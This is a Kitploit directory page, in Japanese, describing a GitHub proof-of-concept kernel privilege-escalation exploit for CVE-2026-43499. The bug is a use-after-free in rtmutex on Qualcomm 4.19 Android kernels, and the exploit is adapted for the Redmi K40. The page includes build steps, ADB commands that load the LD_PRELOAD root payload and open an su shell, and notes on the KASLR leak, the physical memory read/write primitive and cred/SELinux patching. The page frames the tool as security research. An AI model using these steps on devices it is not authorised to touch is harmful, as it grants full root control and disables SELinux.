Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ghostlock-cve-2026-43499-4.19-k40 — Android カーネル LPE PoC for CVE-2026-43499、4.19 Qualcomm カーネルにおける rtmutex の use-after-free で、Redmi K40 向けに LD_PRELOAD ルートペイロードを適用したもの。 | Kitploit
ツール/GitHubGitHub/ccp-p/ghostlock-cve-2026-43499-4.19-k40
Androidセキュリティ特権昇格メモリフォレンジック脆弱性分析エクスプロイトポストエクスプロイトモバイルセキュリティペイロード開発バイナリエクスプロイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubccp-p/ghostlock-cve-2026-43499-4.19-k40

ghostlock-cve-2026-43499-4.19-k40

Android カーネル LPE PoC for CVE-2026-43499、4.19 Qualcomm カーネルにおける rtmutex の use-after-free で、Redmi K40 向けに LD_PRELOAD ルートペイロードを適用したもの。

リポジトリを見る
13時間7分前未レビュー

GhostLock — CVE-2026-43499 PoC (Qualcomm 4.19 カーネル)

CVE-2026-43499 を悪用したローカル特権昇格 — rtmutex の remove_waiter() バグにより、struct rt_mutex_waiter がウェイターのカーネル スタック上にダングリング状態で残される (kernel/locking/rtmutex.c、CWE-416 use-after-free)。NebuSec/CyberMeowfia (IonStack/CVE-2026-43499、Apache-2.0) から Qualcomm Android 4.19.x ベンダーカーネルファミリー向けに改変。

  • カーネル: 4.19.157-perf-g9607d8651312 (qcom、clang 10.0.7、SMP PREEMPT、aarch64)
  • デバイスクラス: Snapdragon 870 (sm8250-ac) / Redmi K40 クラスのボード、Android 13 世代 のビルドで boot header v3 を使用
  • バグ: futex_requeue() のプロキシロックロールバックが remove_waiter() を呼び出し、 これが waiter->task ではなく current を操作する — pi_lock なしでの rb-tree デキュー、pi_blocked_on のダングリング、結果としてカーネルスタックの UAF を引き起こす。 5.10/5.15/6.1/6.6/6.12/6.18/7.0 の修正版まで影響; 4.19 にはバックポートが存在しない (EOL) ため、4.19.157-perf は影響を受ける。

リポジトリの内容

root@kitploit:~
src/                         改変済みエクスプロイトソース (preload.so)
src/targets/oplus-4.19.157-perf/target.h   デバイスごとのオフセットテーブル (kallsyms 由来)
prebuilt/                    コンパイル済み成果物 (aarch64)
adaptation-4.19.patch        上流の Pixel (6.x) コードとの完全な差分
Makefile, build.sh           ビルドエントリポイント

4.19 カーネル向けの第2ラウンド改変 (6.x 上流との比較)

  • configfs_read_file / configfs_write_bin_file は .read/.write fops スロット (4.19 のシグネチャ) に配置され、読み取りプリミティブは簡略化された count/page/ppos=0 の偽バッファレイアウトを使用
  • ashmem の名前プレフィックス (/dev/ashmem) はこのカーネルには存在しない — プレフィックス長 0
  • kmalloc ジオメトリ: 4.19 には 3 種類のキャッシュタイプ (NORMAL/RECLAIM/DMA、 per-memcg キャッシュなし) がある; レガシー pipe の 16 スロットバッファ配列は kmalloc-1024 に配置される
  • selinux_blob_sizes は 4.19 には存在しない → 直接 cred->security (SELINUX_CRED_BLOB_OFF=0); struct seccomp には filter_count がない
  • ASHMEM_MISC_FOPS = miscdevice.fops スロット (ashmem_misc + 0x10)

ビルド

Android NDK を使用した Linux / WSL:

root@kitploit:~
export NDK_ROOT=/path/to/android-ndk-r27c
./build.sh                      # or: make PROJECT=oplus-4.19.157-perf

出力: prebuilt/preload.so (LD_PRELOAD ペイロード) と埋め込みの su_daemon PIE。

ADB の使用法 (ワンショット root)

ADB シェルが必要 (通常の非特権 adb shell で十分 — エクスプロイトは完全に 非特権で動作し、自身を昇格させる)。

root@kitploit:~
# 1. push the payload
adb push prebuilt/preload.so /data/local/tmp/

# 2. run the exploit against any command (here: id) via LD_PRELOAD
adb shell LD_PRELOAD=/data/local/tmp/preload.so id

# expected on success: uid=0(root) gid=0(root) groups=...
# on failure the process exits 1 and the log below tells you where it stopped.

オプションのワンライナー変種:

root@kitploit:~
# capture the exit status too
adb shell "LD_PRELOAD=/data/local/tmp/preload.so id; echo rc=\$?"

# interactive root shell (the exploit also installs an su daemon)
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/sh -c 'su -c id'"

デバッグログ (パニック/再起動後も保持)

すべての pr_* 行は即時の write()+fsync() でディスクにミラーリングされるため、 カーネルパニック/再起動後もトレイルが保持される:

root@kitploit:~
/sdcard/Download/log_<timestamp>.txt

/sdcard が利用できない場合のフォールバックパス: /sdcard/Downloads、 /data/local/tmp/log_<timestamp>.txt。

root@kitploit:~
# after the run (even after a reboot):
adb shell "ls -t /sdcard/Download/log_*.txt | head -1"
adb shell "cat $(adb shell 'ls -t /sdcard/Download/log_*.txt | head -1' | tr -d '\r')"

主要なログマーカー:

  • preload starting pid=... log=/sdcard/Download/log_<ts>.txt — ペイロードがロードされた
  • slide-kaslr-ok ... base=... — KASLR ベースが回復された
  • pipe-physrw-summary ... root=1 ... — phys RW がインストールされた
  • uid_before=... uid_after=0 ... selinux=1->0 — 資格情報がパッチされた
  • 4.19 では slide ガジェットは最初の試行前に UNVERIFIED を出力する — この ステージが、このログを使ってデバイスごとに調整すべきものである。

注意事項と制限

  • 第1ステージ (KASLR スライドリーク) はデバイスごとに調整される; 4.19 向けに 静的に導出できなかった値は target.h でフラグが立てられ、実行時に UNVERIFIED としてログに記録される。fsync ログを使って実機で反復調整すること。
  • このビルドでは CONFIG_STATIC_USERMODEHELPER=y により modprobe パスの トリックが無効化されている; 主要なパスは直接の cred パッチングである。
  • 展開前に、カーネル自身の kallsyms (/proc/kallsyms) と /proc/slabinfo を 使って、正確なビルド上でオフセットの正しさを検証すること。

ライセンス

Apache-2.0 (上流: NebuSec/CyberMeowfia)。セキュリティ研究および 許可されたデバイスの root 化のみを目的とする。所有するハードウェアでのみ使用すること。

ツールをダウンロード
  • 構造体オフセット (task_struct / cred / pipe_inode_info / file_operations / mm_struct / struct page / configfs_buffer) はこのカーネルの kallsyms + 埋め込み ikheaders から再導出し、カーネル自身の RELA リロケーションテーブルで 検証済み